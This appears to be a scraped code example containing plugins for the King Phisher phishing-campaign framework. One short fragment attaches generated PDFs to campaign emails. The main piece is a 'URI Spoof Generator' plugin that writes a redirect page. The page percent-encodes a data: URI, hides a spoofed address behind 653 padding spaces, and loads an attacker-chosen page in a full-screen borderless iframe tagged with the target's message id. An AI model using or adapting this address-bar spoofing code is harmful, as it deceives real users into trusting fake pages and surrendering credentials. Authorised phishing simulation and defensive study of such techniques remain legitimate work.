    def signal_send_target(self, _, target):
        if not self.build_pdf(target):
            raise RuntimeError('failed to build the target\'s pdf file')
        self.attach_pdf(self.config['output_pdf'])

    def signal_send_finished(self, _):
        output_pdf = self.config['output_pdf']
        if not os.access(output_pdf, os.W_OK):
            self.logger.error('no pdf file found at: ' + output_pdf)
            return
        self.logger.info('deleting pdf file: ' + output_pdf)
        os.remove(output_pdf)
        self.application.config['mailer.attachment_file'] = None
Ejemplo n.º 12
0
class Plugin(plugins.ClientPlugin):
	authors = ['Jeremy Schoeneman']
	classifiers = ['Plugin :: Client :: Tool']
	title = 'URI Spoof Generator'
	description = """
	Exports a redirect page which allows URI spoofing in the address bar of the
	target's browser.
	"""
	homepage = 'https://github.com/securestate/king-phisher-plugins'
	options = [
		plugins.ClientOptionString(
			'redir_url',
			'URL to redirect to',
			display_name='Redirect URL'
		),
		plugins.ClientOptionString(
			'spoofed_uri',
			'URI to spoof from',
			display_name='Spoofed URI'
		),
		plugins.ClientOptionString(
			'output_html_file',
			'HTML file to output to',
			display_name='Output HTML File',
			default='~/redir.html'
		)
	]
	version = '1.1'
	def initialize(self):
		self.add_menu_item('Tools > Create Data URI Phish', self.make_page)
		return True

	def make_page(self, _):
		if not self.config['redir_url']:
			gui_utilities.show_dialog_error(
				'Missing Option',
				self.application.get_active_window(),
				'Please configure the "Redirect URL" option.'
			)
			return
		if not self.config['spoofed_uri']:
			gui_utilities.show_dialog_error(
				'Missing Option',
				self.application.get_active_window(),
				'Please configure the "Spoofed URI" option.'
			)
			return
		if not self.config['output_html_file']:
			gui_utilities.show_dialog_error(
				'Missing Option',
				self.application.get_active_window(),
				'Please configure the "Output HTML File" option.'
			)
			return

		outfile = self.expand_path(self.config['output_html_file'])
		try:
			with open (outfile, 'w') as file_h:
				file_h.write(self.build_html())
				self.logger.info('html file exported successfully')
			file_h.close()
		except IOError as e:
			self.logger.error('outputting file error', e)
		return

	def build_html(self):
		page = '<html>'
		page += '  <script>'
		page += '    window.location.href = decodeURIComponent("'+ self.escape_url(self.config['redir_url'], self.config['spoofed_uri']) + '")'
		page += '  </script>'
		page += '</html>'
		return page

	def escape_url(self, url, spoofed_url):
		full_url = 'data:text/html,' + spoofed_url
		full_url += ' ' * 653
		full_url += '<iframe width=\"100%\" height=\"100%\" src=\"' + url + '?id={{ client.message_id }}\"></iframe>'
		full_url += '<style>body{color:#fff; overflow:hidden;margin:-10px 0px 0px 0px; background-color: #fff;} iframe { border:none; outline:none;}</style>")'

		return '%' + '%'.join([ "%x" % ord(x) for x in full_url]).strip()

	def expand_path(self, output_file, *args, **kwargs):
		expanded_path = _expand_path(output_file, *args, **kwargs)
		try:
			expanded_path = mailer.render_message_template(expanded_path, self.application.config)
		except jinja2.exceptions.TemplateSyntaxError as error:
			self.logger.error("jinja2 syntax error ({0}) in directory: {1}".format(error.message, output_file))
			gui_utilities.show_dialog_error('Error', self.application.get_active_window(), 'Error creating the HTML file.')
			return None
		except ValueError as error:
			self.logger.error("value error ({0}) in directory: {1}".format(error, output_file))
			gui_utilities.show_dialog_error('Error', self.application.get_active_window(), 'Error creating the HTML file.')
			return None
		return expanded_path